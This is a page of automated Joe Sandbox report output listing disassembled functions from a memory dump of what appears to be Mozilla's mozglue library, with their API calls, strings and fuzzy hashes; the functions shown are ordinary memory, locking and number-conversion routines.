Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 3ac145d0a82e15d89fdbc3a288ab12455608a5149450bbf0b8ea172577cf0736
Instruction ID: cecb7a913daaa3761154ec008c29e106a4275629ebcb251de418c538bfdfe8ba
Opcode Fuzzy Hash: 3ac145d0a82e15d89fdbc3a288ab12455608a5149450bbf0b8ea172577cf0736
Instruction Fuzzy Hash: 7C419171A047469BD300DF29C48056AFBF4FFEA254F604A6DE4A987680DB30D559CB92

Function 6C9A6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9A82BC,?,?), ref: 6C9A649B

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9A64A9

Part of subcall function 6C99FA80: GetCurrentThreadId.KERNEL32 ref: 6C99FA8D
Part of subcall function 6C99FA80: AcquireSRWLockExclusive.KERNEL32(6C9EF448), ref: 6C99FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9A653F
free.MOZGLUE(?), ref: 6C9A655A

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: f0d3ab8e1784937207eef3f6994bbbbc24d96fbaa0036f253e7603e89c3ef75d
Instruction ID: 5bb3e00fefdcc33598867a9ff215f6eba394a3981c803a8c44895d20dab470ef
Opcode Fuzzy Hash: f0d3ab8e1784937207eef3f6994bbbbc24d96fbaa0036f253e7603e89c3ef75d
Instruction Fuzzy Hash: 773181B5A047059FD740CF14D88469EBBF4FF98314F10482DE85A97741D730E919CB92

Function 6C99FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C9BD019,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?), ref: 6C99FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C9BD019,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?,?), ref: 6C99FFF5
free.MOZGLUE(?,?,?,?,?,6C9BD019,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?), ref: 6C9A001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C9BD019,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?,?), ref: 6C9A002A

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 11547ef9570b59b362d869286ef39f70b267abfaabd803ffb6a49534e5d3e3e9
Instruction ID: 9f2a68318919fe606da68b33717f06ac664957a5e69e71c841a9b1f70c56868c
Opcode Fuzzy Hash: 11547ef9570b59b362d869286ef39f70b267abfaabd803ffb6a49534e5d3e3e9
Instruction Fuzzy Hash: 1D210872A002165BD7189E78DC944AFF7BAEB993243290738E526D7780EB30ED1186D1

Function 6C97B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C97B4F5
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C97B502
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C97B542
free.MOZGLUE(?), ref: 6C97B578

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 79d489a35ddba773d0a4f855c95d5e953a08f385e82b22055424942d54ef4dac
Instruction ID: 1ab6b58d286778ffc99e30e480bb00447efd41ddfcb153d2f1ff8fdcebadb254
Opcode Fuzzy Hash: 79d489a35ddba773d0a4f855c95d5e953a08f385e82b22055424942d54ef4dac
Instruction Fuzzy Hash: F411A231909B45C7D7228F29D804765B3B5FFEA318F24570AD84953E01EBB1E1C587A4

Function 6C9A3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C96F20E,?), ref: 6C9A3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C96F20E,00000000,?), ref: 6C9A3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9A3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C9A3E0E

Part of subcall function 6C99CC00: GetCurrentProcess.KERNEL32(?,?,6C9631A7), ref: 6C99CC0D
Part of subcall function 6C99CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9631A7), ref: 6C99CC16

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: ad472ba168f7cfd12e8830b651220116205bac26859fbe8703c48d815e5eb901
Instruction ID: 54eb3a362eace2290d51837a6783f950f547eaaad3b85e2db00bdf6721694c4b
Opcode Fuzzy Hash: ad472ba168f7cfd12e8830b651220116205bac26859fbe8703c48d815e5eb901
Instruction Fuzzy Hash: 91F082715002087BDB00AB94DC41DAB372CEF6A628F154420FE0917700D635FD2586F7

Function 6C9B20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C99FBD1), ref: 6C9B20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C99FBD1), ref: 6C9B20DA
free.MOZGLUE(00000000,?,6C99FBD1), ref: 6C9B20F1

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: f727e96bf2340e9e46bbd956dc3b1bfecdff492dadf5f65ced6b2d6048f02f7e
Instruction ID: 63094c13328ea731cb51faa8fb938ac23778cf4cab11566e861574b30edb5909
Opcode Fuzzy Hash: f727e96bf2340e9e46bbd956dc3b1bfecdff492dadf5f65ced6b2d6048f02f7e
Instruction Fuzzy Hash: 44E02B31604B14ABC3209F25D80854FB7FDFFAA314B10062AE50AD3B00D775F54A87D9

Function 6C9B85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9B85D3

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C9B8725

Strings

map/set<T> too long, xrefs: 6C9B8720

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: ee220da6e311adb3fe5b62392a8fe42f3cb9eca716dd68517d5cccc048428ecd
Instruction ID: cb8f3a64fba9c323e8cdaf06341787a0a935f6576d42b5ba4aaefbe2d8b7717a
Opcode Fuzzy Hash: ee220da6e311adb3fe5b62392a8fe42f3cb9eca716dd68517d5cccc048428ecd
Instruction Fuzzy Hash: 6B5186B4A00646EFC709CF18C084B56BBF1BF5A318F18C19AD8596BB52C334E885CF96

Function 6C96BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C96BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C96BE8F

Strings

0, xrefs: 6C96BE5B

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: af173f5b1869ce60b1e5c0bcd86da1939d093934a404f02f31c75198519e60e7
Instruction ID: 9ec3af14961b9fd0af8e3a3abf004745a32afd623f236c9ccf535832fc5003ae
Opcode Fuzzy Hash: af173f5b1869ce60b1e5c0bcd86da1939d093934a404f02f31c75198519e60e7
Instruction Fuzzy Hash: 6F41E571909745CFD301CF39C491A5BB7F4AF9A348F004A1DF9856BA51E730D954DB82

Function 6C9A3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9A3D19
mozalloc_abort.MOZGLUE(?), ref: 6C9A3D6C

Strings

d, xrefs: 6C9A3D58

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 132cb41fea635e89c82f4e0ccfb92eb556bd4b4fe28e476d9ac814cb376bacfb
Instruction ID: 62306ddcb2d6a5cf1be03aefcc77bd02af3a56dd6c2b58df199af77f86c640c7
Opcode Fuzzy Hash: 132cb41fea635e89c82f4e0ccfb92eb556bd4b4fe28e476d9ac814cb376bacfb
Instruction Fuzzy Hash: 06110436E08688D7DB008BA9C8144EDB775FFAA218B458218DC45A7612EB30E5C5C750

Function 6C974730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9744B2,6C9EE21C,6C9EF7F8), ref: 6C97473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C97474A

Strings

GetNtLoaderAPI, xrefs: 6C974744

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 56922b1525815ed4297b5ccf76939983986cda1503baecaf55994f3ccb0b3340
Instruction ID: 2e444408539cbe1cd787ebb58c1d12888fcd1cc08a52fe4f15d7faf6700a5e83
Opcode Fuzzy Hash: 56922b1525815ed4297b5ccf76939983986cda1503baecaf55994f3ccb0b3340
Instruction Fuzzy Hash: 18018C753093548FDF01AF6698846297BB9EF9F721B29006AE90ACB301CB74D801CFA1

Function 6C9C6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C9C6E22
__Init_thread_footer.LIBCMT ref: 6C9C6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C9C6E1D

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: e23ff3514a28ee5fa86c4fae328746c4f4497a00e0017d4a2b8ce92d946103e1
Instruction ID: 5ff03ee5c14f1aae06e2e6dec7bb61887dcb190dbf2658762f2112262dbf247d
Opcode Fuzzy Hash: e23ff3514a28ee5fa86c4fae328746c4f4497a00e0017d4a2b8ce92d946103e1
Instruction Fuzzy Hash: 35F0593170A24CCBDB008B68E850AA137719FFFA1CF280167C40447F53CB20E52ACAA3

Function 6C979E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C979EEF

Strings

Infinity, xrefs: 6C979EB7
NaN, xrefs: 6C979EC1

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: e74cee0d6a647cd24df6685944fa62515d538f1bc8688844608da2eb1e00d8a5
Instruction ID: 1edb59ae738d70e7671c05780ed0e20d53c4bb4f99371b9463333c59673b5da1
Opcode Fuzzy Hash: e74cee0d6a647cd24df6685944fa62515d538f1bc8688844608da2eb1e00d8a5
Instruction Fuzzy Hash: 66F08C7160A645CADB428B18F8467443B71AFBF31CF354A56C5080AB42D735A5CA8A92

Function 6C97BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C97BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C97BEF5

Strings

cryptbase.dll, xrefs: 6C97BEF0

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 77148895aded48203a111be2e7f9ece12f889da3adc61b2108ac5b0a608d108e
Instruction ID: 2532b3769bb3ec6b3c9382e467f5f2e748e394294c3210d8aff2255ea91e2906
Opcode Fuzzy Hash: 77148895aded48203a111be2e7f9ece12f889da3adc61b2108ac5b0a608d108e
Instruction Fuzzy Hash: 22D013311C5308E7D7516B908D0DF193778AF59715F20C025F75554951C7B1D450CFD4

Function 6C9650E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C964E9C,?,?,?,?,?), ref: 6C96510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C964E9C,?,?,?,?,?), ref: 6C965167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C965196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C964E9C), ref: 6C965234

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: cd6f07ea2daf44bffb69ed3878fb1a5c7bf90d726919fdcaba43e74460f68ad6
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 2691F135505646CFCB14CF09C890A5ABBA5FF99318B29868CDC489BB56C331FD82CBE0

Function 6C9A08F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A0918
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A09A6
EnterCriticalSection.KERNEL32(6C9EE7DC,?,00000000), ref: 6C9A09F3
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A0ACB

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 2fbcdf817a487fc382278c42eb755b2e388b3d6df3fef90647f391a644ff1d27
Instruction ID: 5b9de31af6a19282f2c78ff869447a22d9df019fa41c66424373c4e1e8c75831
Opcode Fuzzy Hash: 2fbcdf817a487fc382278c42eb755b2e388b3d6df3fef90647f391a644ff1d27
Instruction Fuzzy Hash: 0A516B32B05654CBEB489A95C45472533B5EFEAB24B35913AD86797F80DB31EC02C6C0

Function 6C9BB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C9BB2C9,?,?,?,6C9BB127,?,?,?,?,?,?,?,?,?,6C9BAE52), ref: 6C9BB628

Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B90FF
Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9BB2C9,?,?,?,6C9BB127,?,?,?,?,?,?,?,?,?,6C9BAE52), ref: 6C9BB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9BB2C9,?,?,?,6C9BB127,?,?,?,?,?,?,?,?,?,6C9BAE52), ref: 6C9BB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C9BB127,?,?,?,?,?,?,?,?), ref: 6C9BB74D

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8a01aab7225f84701aab4ac716a8d339c855d6b3e6d954253b27f0658ce99569
Instruction ID: f115978db099a2a656332247f6328d876b7b83814a1f98c6dd3ce86e2f319347
Opcode Fuzzy Hash: 8a01aab7225f84701aab4ac716a8d339c855d6b3e6d954253b27f0658ce99569
Instruction Fuzzy Hash: DF51B7B1A05216DBDB14CF18C9C066FB7B5EF89704F168529C85ABBB80DB30E804CBA1

Function 6C9BDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9AFF2A), ref: 6C9BDFFD

Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B90FF
Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9AFF2A), ref: 6C9BE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9AFF2A), ref: 6C9BE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C9AFF2A), ref: 6C9BE0FE

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e86ee1a3af6ff0b2058da280f2af5e79a2830912d924e388342a702ebc3d38bb
Instruction ID: c867034c1424e54b6c2178f88debe033ca98ca700dc6e05c8019697a8cd94fff
Opcode Fuzzy Hash: e86ee1a3af6ff0b2058da280f2af5e79a2830912d924e388342a702ebc3d38bb
Instruction Fuzzy Hash: F141B1B1608216DFEB14CF68D88036B77BAAF46308F254979D556EB740E731E904CBD2

Function 6C9B6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C9B6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C9B6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9B6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B6F5C

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

